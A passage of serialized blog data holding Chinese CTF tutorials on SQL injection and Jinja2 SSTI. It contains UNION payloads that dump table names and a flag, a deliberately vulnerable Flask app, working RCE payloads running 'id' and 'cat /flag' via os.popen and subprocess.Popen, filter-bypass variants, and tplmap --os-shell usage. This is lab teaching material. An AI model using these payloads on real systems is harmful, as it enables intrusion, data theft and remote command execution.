query(id_):\n",[30,1192,1193],{"class":32,"line":804},[30,1194,1195],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[30,1197,1198],{"class":32,"line":810},[30,1199,1200],{},"    cur = conn.cursor()\n",[30,1202,1203],{"class":32,"line":816},[30,1204,1205],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[30,1207,1208],{"class":32,"line":822},[30,1209,1210],{},"    try:\n",[30,1212,1213],{"class":32,"line":828},[30,1214,1215],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[30,1217,1218],{"class":32,"line":834},[30,1219,1220],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[30,1222,1223],{"class":32,"line":840},[30,1224,1225],{},"        return str(cur.fetchall())\n",[30,1227,1228],{"class":32,"line":846},[30,1229,1230],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[30,1232,1233],{"class":32,"line":852},[30,1234,1235],{},"    except Exception as e:\n",[30,1237,1238],{"class":32,"line":858},[30,1239,1240],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[30,1242,1243],{"class":32,"line":864},[30,1244,1245],{},"        return \"ERROR: \" + str(e)\n",[30,1247,1248],{"class":32,"line":870},[30,1249,742],{"emptyLinePlaceholder":741},[30,1251,1252],{"class":32,"line":876},[30,1253,1254],{},"print(query(\"1\"))\n",[30,1256,1258],{"class":32,"line":1257},28,[30,1259,1260],{},"print(query(\"1'\"))\n",[30,1262,1264],{"class":32,"line":1263},29,[30,1265,1266],{},"print(query(\"1 AND 1=1\"))\n",[30,1268,1270],{"class":32,"line":1269},30,[30,1271,1272],{},"print(query(\"1 AND 1=2\"))\n",[30,1274,1276],{"class":32,"line":1275},31,[30,1277,1278],{},"print(query(\"1 ORDER BY 3\"))\n",[30,1280,1282],{"class":32,"line":1281},32,[30,1283,1284],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[30,1286,1288],{"class":32,"line":1287},33,[30,1289,1290],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[30,1292,1294],{"class":32,"line":1293},34,[30,1295,1296],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[16,1298,1299],{},"运行：",[20,1301,1303],{"className":83,"code":1302,"language":85,"meta":25,"style":25},"python3 sim.py\n",[27,1304,1305],{"__ignoreMap":25},[30,1306,1307,1310],{"class":32,"line":33},[30,1308,1309],{"class":92},"python3",[30,1311,1312],{"class":96}," sim.py\n",[16,1314,1315],{},"实际输出：",[20,1317,1320],{"className":1318,"code":1319,"language":301,"meta":25},[299],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[27,1321,1319],{"__ignoreMap":25},[16,1323,1324],{},"逐行对应：",[1326,1327,1328,1344],"table",{},[1329,1330,1331],"thead",{},[1332,1333,1334,1338,1341],"tr",{},[1335,1336,1337],"th",{},"输入",[1335,1339,1340],{},"输出",[1335,1342,1343],{},"结论",[1345,1346,1347,1361,1374,1386,1399,1412,1427,1440],"tbody",{},[1332,1348,1349,1355,1358],{},[1350,1351,1352],"td",{},[27,1353,1354],{},"1",[1350,1356,1357],{},"正常记录",[1350,1359,1360],{},"基线",[1332,1362,1363,1368,1371],{},[1350,1364,1365],{},[27,1366,1367],{},"1'",[1350,1369,1370],{},"语法错误",[1350,1372,1373],{},"注入点存在",[1332,1375,1376,1381,1383],{},[1350,1377,1378],{},[27,1379,1380],{},"1 AND 1=1",[1350,1382,1357],{},[1350,1384,1385],{},"条件真",[1332,1387,1388,1393,1396],{},[1350,1389,1390],{},[27,1391,1392],{},"1 AND 1=2",[1350,1394,1395],{},"空",[1350,1397,1398],{},"条件假",[1332,1400,1401,1406,1409],{},[1350,1402,1403],{},[27,1404,1405],{},"1 ORDER BY 3",[1350,1407,1408],{},"正常",[1350,1410,1411],{},"至少 3 列",[1332,1413,1414,1419,1424],{},[1350,1415,1416],{},[27,1417,1418],{},"-1 UNION SELECT 1,2,3",[1350,1420,1421],{},[27,1422,1423],{},"(1, 2, 3)",[1350,1425,1426],{},"3 列且回显",[1332,1428,1429,1432,1437],{},[1350,1430,1431],{},"查 sqlite_master",[1350,1433,1434],{},[27,1435,1436],{},"articles,flag",[1350,1438,1439],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[1332,1441,1442,1445,1449],{},[1350,1443,1444],{},"查 flag 表",[1350,1446,1447],{},[27,1448,641],{},[1350,1450,1451],{},"拿到 flag",[11,1453,1455],{"id":1454},"九小结","九、小结",[16,1457,1458,1459,1462],{},"SQL 注入主线：",[68,1460,1461],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1464,1465,1466],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":25,"searchDepth":39,"depth":39,"links":1468},[1469,1470,1471,1472,1473,1474,1475,1476,1477],{"id":13,"depth":112,"text":14},{"id":74,"depth":112,"text":75},{"id":246,"depth":112,"text":247},{"id":410,"depth":112,"text":411},{"id":650,"depth":112,"text":651},{"id":921,"depth":112,"text":922},{"id":1043,"depth":112,"text":1044},{"id":1107,"depth":112,"text":1108},{"id":1454,"depth":112,"text":1455},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。","md",{"date":1481,"image":1482,"alt":1483,"tags":1484,"published":741},"14th Aug 2026","/blogs-img/blog5.png","SQL 注入深入实战",[551,1485,1486,1487],"web","sql注入","example","/blogs/ctf-web-sql-injection-deep-dive",{"title":6,"description":1478},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":1493,"title":1494,"body":1495,"description":2557,"extension":1479,"meta":2558,"navigation":741,"ogImage":2559,"path":2563,"seo":2564,"stem":2565,"__hash__":2566},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":8,"value":1496,"toc":2547},[1497,1501,1504,1547,1558,1561,1570,1576,1580,1596,1602,1655,1657,1669,1673,1678,1691,1695,1711,1713,1738,1742,1758,1760,1778,1788,1792,1859,1863,1868,1902,1911,1915,1921,1925,1931,1934,1950,1952,1970,1973,1989,1991,2009,2022,2030,2041,2048,2054,2057,2135,2141,2144,2150,2154,2166,2175,2187,2191,2197,2201,2207,2216,2220,2224,2271,2275,2318,2324,2328,2331,2401,2405,2415,2419,2424,2439,2445,2449,2464,2493,2496,2502,2506,2514,2517,2523,2527,2544],[11,1498,1500],{"id":1499},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[16,1502,1503],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[20,1505,1507],{"className":722,"code":1506,"language":724,"meta":25,"style":25},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[27,1508,1509,1514,1518,1523,1527,1532,1537,1542],{"__ignoreMap":25},[30,1510,1511],{"class":32,"line":33},[30,1512,1513],{},"from flask import Flask, render_template\n",[30,1515,1516],{"class":32,"line":39},[30,1517,742],{"emptyLinePlaceholder":741},[30,1519,1520],{"class":32,"line":112},[30,1521,1522],{},"app = Flask(__name__)\n",[30,1524,1525],{"class":32,"line":158},[30,1526,742],{"emptyLinePlaceholder":741},[30,1528,1529],{"class":32,"line":164},[30,1530,1531],{},"@app.route(\"/\")\n",[30,1533,1534],{"class":32,"line":170},[30,1535,1536],{},"def index():\n",[30,1538,1539],{"class":32,"line":216},[30,1540,1541],{},"    name = request.args.get(\"name\", \"world\")\n",[30,1543,1544],{"class":32,"line":222},[30,1545,1546],{},"    return render_template(\"hello.html\", name=name)\n",[16,1548,1549,1550,1553,1554,1557],{},"模板文件 ",[27,1551,1552],{},"hello.html"," 内容是固定的 ",[27,1555,1556],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[16,1559,1560],{},"错误写法是把用户输入拼进模板字符串：",[20,1562,1564],{"className":722,"code":1563,"language":724,"meta":25,"style":25},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[27,1565,1566],{"__ignoreMap":25},[30,1567,1568],{"class":32,"line":33},[30,1569,1563],{},[16,1571,1572,1575],{},[27,1573,1574],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[11,1577,1579],{"id":1578},"二环境搭建","二、环境搭建",[20,1581,1583],{"className":83,"code":1582,"language":85,"meta":25,"style":25},"pip install flask\n",[27,1584,1585],{"__ignoreMap":25},[30,1586,1587,1590,1593],{"class":32,"line":33},[30,1588,1589],{"class":92},"pip",[30,1591,1592],{"class":96}," install",[30,1594,1595],{"class":96}," flask\n",[16,1597,1598,1599,179],{},"保存 ",[27,1600,1601],{},"app.py",[20,1603,1605],{"className":722,"code":1604,"language":724,"meta":25,"style":25},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[27,1606,1607,1612,1616,1620,1624,1628,1632,1636,1641,1646,1650],{"__ignoreMap":25},[30,1608,1609],{"class":32,"line":33},[30,1610,1611],{},"from flask import Flask, request, render_template_string\n",[30,1613,1614],{"class":32,"line":39},[30,1615,742],{"emptyLinePlaceholder":741},[30,1617,1618],{"class":32,"line":112},[30,1619,1522],{},[30,1621,1622],{"class":32,"line":158},[30,1623,742],{"emptyLinePlaceholder":741},[30,1625,1626],{"class":32,"line":164},[30,1627,1531],{},[30,1629,1630],{"class":32,"line":170},[30,1631,1536],{},[30,1633,1634],{"class":32,"line":216},[30,1635,1541],{},[30,1637,1638],{"class":32,"line":222},[30,1639,1640],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[30,1642,1643],{"class":32,"line":228},[30,1644,1645],{},"    return render_template_string(html, name=name)\n",[30,1647,1648],{"class":32,"line":774},[30,1649,742],{"emptyLinePlaceholder":741},[30,1651,1652],{"class":32,"line":780},[30,1653,1654],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[16,1656,1299],{},[20,1658,1660],{"className":83,"code":1659,"language":85,"meta":25,"style":25},"python app.py\n",[27,1661,1662],{"__ignoreMap":25},[30,1663,1664,1666],{"class":32,"line":33},[30,1665,724],{"class":92},[30,1667,1668],{"class":96}," app.py\n",[11,1670,1672],{"id":1671},"三核心步骤-1探测","三、核心步骤 1：探测",[16,1674,1675,1677],{},[68,1676,252],{},"：确认\"用户输入被当作模板代码求值\"。",[16,1679,1680,1682,1683,1686,1687,1690],{},[68,1681,262],{},"：模板引擎会执行 ",[27,1684,1685],{},"{{ 表达式 }}","。传 ",[27,1688,1689],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[77,1692,1694],{"id":1693},"_31-正常请求","3.1 正常请求",[20,1696,1698],{"className":83,"code":1697,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[27,1699,1700],{"__ignoreMap":25},[30,1701,1702,1704,1706,1709],{"class":32,"line":33},[30,1703,282],{"class":92},[30,1705,286],{"class":285},[30,1707,1708],{"class":96},"http://127.0.0.1:5000/?name=alice",[30,1710,292],{"class":285},[16,1712,295],{},[20,1714,1718],{"className":1715,"code":1716,"language":1717,"meta":25,"style":25},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[27,1719,1720],{"__ignoreMap":25},[30,1721,1722,1726,1730,1733,1735],{"class":32,"line":33},[30,1723,1725],{"class":1724},"sCdxs","\u003C",[30,1727,1729],{"class":1728},"s0Tla","h1",[30,1731,1732],{"class":1724},">Hello, alice!\u003C/",[30,1734,1729],{"class":1728},[30,1736,1737],{"class":1724},">\n",[77,1739,1741],{"id":1740},"_32-表达式求值","3.2 表达式求值",[20,1743,1745],{"className":83,"code":1744,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[27,1746,1747],{"__ignoreMap":25},[30,1748,1749,1751,1753,1756],{"class":32,"line":33},[30,1750,282],{"class":92},[30,1752,286],{"class":285},[30,1754,1755],{"class":96},"http://127.0.0.1:5000/?name={{7*7}}",[30,1757,292],{"class":285},[16,1759,295],{},[20,1761,1763],{"className":1715,"code":1762,"language":1717,"meta":25,"style":25},"\u003Ch1>Hello, 49!\u003C/h1>\n",[27,1764,1765],{"__ignoreMap":25},[30,1766,1767,1769,1771,1774,1776],{"class":32,"line":33},[30,1768,1725],{"class":1724},[30,1770,1729],{"class":1728},[30,1772,1773],{"class":1724},">Hello, 49!\u003C/",[30,1775,1729],{"class":1728},[30,1777,1737],{"class":1724},[16,1779,1780,1783,1784,1787],{},[27,1781,1782],{},"7*7"," 被求值成 ",[27,1785,1786],{},"49","，说明模板表达式生效，SSTI 成立。",[77,1789,1791],{"id":1790},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[1326,1793,1794,1807],{},[1329,1795,1796],{},[1332,1797,1798,1801,1804],{},[1335,1799,1800],{},"引擎",[1335,1802,1803],{},"语言",[1335,1805,1806],{},"探测 payload",[1345,1808,1809,1821,1834,1846],{},[1332,1810,1811,1814,1817],{},[1350,1812,1813],{},"Jinja2 / Twig",[1350,1815,1816],{},"Python / PHP",[1350,1818,1819],{},[27,1820,1689],{},[1332,1822,1823,1826,1829],{},[1350,1824,1825],{},"Freemarker",[1350,1827,1828],{},"Java",[1350,1830,1831],{},[27,1832,1833],{},"${7*7}",[1332,1835,1836,1839,1841],{},[1350,1837,1838],{},"Velocity",[1350,1840,1828],{},[1350,1842,1843],{},[27,1844,1845],{},"#set($x=7*7)$x",[1332,1847,1848,1851,1854],{},[1350,1849,1850],{},"Smarty",[1350,1852,1853],{},"PHP",[1350,1855,1856],{},[27,1857,1858],{},"{$smarty.version}",[11,1860,1862],{"id":1861},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[16,1864,1865,1867],{},[68,1866,252],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[16,1869,1870,1872,1873,1876,1877,1880,1881,1880,1884,1887,1888,1891,1892,1894,1895,1898,1899,128],{},[68,1871,262],{},"：模板只能访问少量对象（如 ",[27,1874,1875],{},"config","）。Python 对象有 ",[27,1878,1879],{},"__class__","、",[27,1882,1883],{},"__init__",[27,1885,1886],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[27,1889,1890],{},"os"," 模块。验证方式：先执行 ",[27,1893,256],{},"，输出 ",[27,1896,1897],{},"uid=..."," 即成功，再换 ",[27,1900,1901],{},"cat /flag",[16,1903,1904,1905,1907,1908,1910],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[27,1906,1875],{}," 对象，沿 Python 内部属性找到 ",[27,1909,1890],{}," 模块。",[77,1912,1914],{"id":1913},"_41-分步理解","4.1 分步理解",[20,1916,1919],{"className":1917,"code":1918,"language":301,"meta":25},[299],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[27,1920,1918],{"__ignoreMap":25},[77,1922,1924],{"id":1923},"_42-完整-payload","4.2 完整 payload",[20,1926,1929],{"className":1927,"code":1928,"language":301,"meta":25},[299],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[27,1930,1928],{"__ignoreMap":25},[16,1932,1933],{},"用 curl 发送：",[20,1935,1937],{"className":83,"code":1936,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[27,1938,1939],{"__ignoreMap":25},[30,1940,1941,1943,1945,1948],{"class":32,"line":33},[30,1942,282],{"class":92},[30,1944,286],{"class":285},[30,1946,1947],{"class":96},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[30,1949,292],{"class":285},[16,1951,295],{},[20,1953,1955],{"className":1715,"code":1954,"language":1717,"meta":25,"style":25},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[27,1956,1957],{"__ignoreMap":25},[30,1958,1959,1961,1963,1966,1968],{"class":32,"line":33},[30,1960,1725],{"class":1724},[30,1962,1729],{"class":1728},[30,1964,1965],{"class":1724},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[30,1967,1729],{"class":1728},[30,1969,1737],{"class":1724},[16,1971,1972],{},"命令执行成功。读 flag：",[20,1974,1976],{"className":83,"code":1975,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[27,1977,1978],{"__ignoreMap":25},[30,1979,1980,1982,1984,1987],{"class":32,"line":33},[30,1981,282],{"class":92},[30,1983,286],{"class":285},[30,1985,1986],{"class":96},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[30,1988,292],{"class":285},[16,1990,295],{},[20,1992,1994],{"className":1715,"code":1993,"language":1717,"meta":25,"style":25},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[27,1995,1996],{"__ignoreMap":25},[30,1997,1998,2000,2002,2005,2007],{"class":32,"line":33},[30,1999,1725],{"class":1724},[30,2001,1729],{"class":1728},[30,2003,2004],{"class":1724},">Hello, flag{ssti_rce}!\u003C/",[30,2006,1729],{"class":1728},[30,2008,1737],{"class":1724},[16,2010,2011,179,2019,2021],{},[68,2012,2013,2014,2016,2017],{},"为什么先试 ",[27,2015,256],{}," 再试 ",[27,2018,1901],{},[27,2020,256],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[77,2023,2025,2026,2029],{"id":2024},"_43-备选链subclasses-扫描","4.3 备选链：",[68,2027,2028],{},"subclasses"," 扫描",[16,2031,2032,2034,2035,2037,2038,128],{},[68,2033,252],{},"：当 ",[27,2036,1875],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[27,2039,2040],{},"subprocess.Popen",[16,2042,2043,2045,2046,179],{},[27,2044,1875],{}," 链不可用时，从字符串对象出发找 ",[27,2047,2040],{},[20,2049,2052],{"className":2050,"code":2051,"language":301,"meta":25},[299],"''.__class__.__mro__[1].__subclasses__()\n",[27,2053,2051],{"__ignoreMap":25},[16,2055,2056],{},"先用 Python 脚本找下标：",[20,2058,2060],{"className":722,"code":2059,"language":724,"meta":25,"style":25},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[27,2061,2062,2067,2071,2076,2081,2086,2091,2096,2101,2106,2111,2116,2121,2126,2131],{"__ignoreMap":25},[30,2063,2064],{"class":32,"line":33},[30,2065,2066],{},"import requests\n",[30,2068,2069],{"class":32,"line":39},[30,2070,742],{"emptyLinePlaceholder":741},[30,2072,2073],{"class":32,"line":112},[30,2074,2075],{},"url = \"http://127.0.0.1:5000/\"\n",[30,2077,2078],{"class":32,"line":158},[30,2079,2080],{},"for i in range(500):\n",[30,2082,2083],{"class":32,"line":164},[30,2084,2085],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[30,2087,2088],{"class":32,"line":170},[30,2089,2090],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[30,2092,2093],{"class":32,"line":216},[30,2094,2095],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[30,2097,2098],{"class":32,"line":222},[30,2099,2100],{},"    # .__mro__[1]：继承链上的 object 类；\n",[30,2102,2103],{"class":32,"line":228},[30,2104,2105],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[30,2107,2108],{"class":32,"line":774},[30,2109,2110],{},"    # .__name__：该类的名字，会渲染到页面。\n",[30,2112,2113],{"class":32,"line":780},[30,2114,2115],{},"    r = requests.get(url, params={\"name\": payload})\n",[30,2117,2118],{"class":32,"line":786},[30,2119,2120],{},"    if \"Popen\" in r.text:\n",[30,2122,2123],{"class":32,"line":792},[30,2124,2125],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[30,2127,2128],{"class":32,"line":798},[30,2129,2130],{},"        print(\"Popen index:\", i)\n",[30,2132,2133],{"class":32,"line":804},[30,2134,873],{},[16,2136,295,2137,2140],{},[27,2138,2139],{},"Popen index: 258","（数字因 Python 版本而异）。",[16,2142,2143],{},"然后利用：",[20,2145,2148],{"className":2146,"code":2147,"language":301,"meta":25},[299],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[27,2149,2147],{"__ignoreMap":25},[11,2151,2153],{"id":2152},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[16,2155,2156,2158,2159,1880,2162,2165],{},[68,2157,252],{},"：题目过滤 ",[27,2160,2161],{},".",[27,2163,2164],{},"[]","、关键词时，用等价写法表达同样的调用。",[16,2167,2168,2170,2171,2174],{},[68,2169,262],{},"：点号访问可以用 Jinja2 的 ",[27,2172,2173],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[16,2176,2177,2178,1880,2180,1880,2183,2186],{},"题目常过滤 ",[27,2179,2161],{},[27,2181,2182],{},"[",[27,2184,2185],{},"]"," 或关键词。",[77,2188,2190],{"id":2189},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[20,2192,2195],{"className":2193,"code":2194,"language":301,"meta":25},[299],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[27,2196,2194],{"__ignoreMap":25},[77,2198,2200],{"id":2199},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[20,2202,2205],{"className":2203,"code":2204,"language":301,"meta":25},[299],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[27,2206,2204],{"__ignoreMap":25},[16,2208,2209,2210,1880,2212,2215],{},"模板里不再出现 ",[27,2211,1890],{},[27,2213,2214],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[11,2217,2219],{"id":2218},"六必学工具","六、必学工具",[77,2221,2223],{"id":2222},"工具-1curl","工具 1：curl",[20,2225,2227],{"className":83,"code":2226,"language":85,"meta":25,"style":25},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[27,2228,2229,2244],{"__ignoreMap":25},[30,2230,2231,2233,2235,2238,2240],{"class":32,"line":33},[30,2232,282],{"class":92},[30,2234,286],{"class":285},[30,2236,2237],{"class":96},"http://target/?name={{7*7}}",[30,2239,956],{"class":285},[30,2241,2243],{"class":2242},"shSDL","          # 探测\n",[30,2245,2246,2248,2251,2253,2256,2258,2261,2263,2266,2268],{"class":32,"line":39},[30,2247,282],{"class":92},[30,2249,2250],{"class":117}," -G",[30,2252,286],{"class":285},[30,2254,2255],{"class":96},"http://target/",[30,2257,956],{"class":285},[30,2259,2260],{"class":117}," --data-urlencode",[30,2262,286],{"class":285},[30,2264,2265],{"class":96},"name={{...}}",[30,2267,956],{"class":285},[30,2269,2270],{"class":2242},"   # 自动 URL 编码\n",[77,2272,2274],{"id":2273},"工具-2requests","工具 2：requests",[20,2276,2278],{"className":722,"code":2277,"language":724,"meta":25,"style":25},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[27,2279,2280,2284,2288,2293,2298,2303,2308,2313],{"__ignoreMap":25},[30,2281,2282],{"class":32,"line":33},[30,2283,2066],{},[30,2285,2286],{"class":32,"line":39},[30,2287,742],{"emptyLinePlaceholder":741},[30,2289,2290],{"class":32,"line":112},[30,2291,2292],{},"url = \"http://target/\"\n",[30,2294,2295],{"class":32,"line":158},[30,2296,2297],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[30,2299,2300],{"class":32,"line":164},[30,2301,2302],{},"r = requests.get(url, params={\"name\": payload})\n",[30,2304,2305],{"class":32,"line":170},[30,2306,2307],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[30,2309,2310],{"class":32,"line":216},[30,2311,2312],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[30,2314,2315],{"class":32,"line":222},[30,2316,2317],{},"print(r.text)\n",[16,2319,2320,2323],{},[27,2321,2322],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[77,2325,2327],{"id":2326},"工具-3tplmap","工具 3：tplmap",[16,2329,2330],{},"模板注入自动化工具：",[20,2332,2334],{"className":83,"code":2333,"language":85,"meta":25,"style":25},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[27,2335,2336,2345,2365,2384],{"__ignoreMap":25},[30,2337,2338,2340,2342],{"class":32,"line":33},[30,2339,93],{"class":92},[30,2341,97],{"class":96},[30,2343,2344],{"class":96}," https://github.com/epinna/tplmap\n",[30,2346,2347,2349,2352,2355,2357,2359,2362],{"class":32,"line":39},[30,2348,106],{"class":105},[30,2350,2351],{"class":96}," tplmap",[30,2353,2354],{"class":1724}," && ",[30,2356,1589],{"class":92},[30,2358,1592],{"class":96},[30,2360,2361],{"class":117}," -r",[30,2363,2364],{"class":96}," requirements.txt\n",[30,2366,2367,2369,2372,2374,2376,2379,2381],{"class":32,"line":112},[30,2368,724],{"class":92},[30,2370,2371],{"class":96}," tplmap.py",[30,2373,949],{"class":117},[30,2375,286],{"class":285},[30,2377,2378],{"class":96},"http://target/?name=*",[30,2380,956],{"class":285},[30,2382,2383],{"class":2242},"          # * 是注入点标记\n",[30,2385,2386,2388,2390,2392,2394,2396,2398],{"class":32,"line":158},[30,2387,724],{"class":92},[30,2389,2371],{"class":96},[30,2391,949],{"class":117},[30,2393,286],{"class":285},[30,2395,2378],{"class":96},[30,2397,956],{"class":285},[30,2399,2400],{"class":117}," --os-shell\n",[11,2402,2404],{"id":2403},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[16,2406,2407,2408,2411,2412,128],{},"题目：",[27,2409,2410],{},"http://target/?name="," 存在 SSTI，flag 在 ",[27,2413,2414],{},"/flag",[77,2416,2418],{"id":2417},"第一步探测","第一步：探测",[16,2420,2421,2423],{},[68,2422,252],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[20,2425,2427],{"className":83,"code":2426,"language":85,"meta":25,"style":25},"curl \"http://target/?name={{7*7}}\"\n",[27,2428,2429],{"__ignoreMap":25},[30,2430,2431,2433,2435,2437],{"class":32,"line":33},[30,2432,282],{"class":92},[30,2434,286],{"class":285},[30,2436,2237],{"class":96},[30,2438,292],{"class":285},[16,2440,2441,2442,2444],{},"响应含 ",[27,2443,1786],{}," → 确认。",[77,2446,2448],{"id":2447},"第二步直接打","第二步：直接打",[16,2450,2451,2453,2454,2457,2458,2460,2461,2463],{},[68,2452,262],{},"：先 ",[27,2455,2456],{},"config.__globals__"," 链试 ",[27,2459,1901],{},"；如果响应没出现 flag 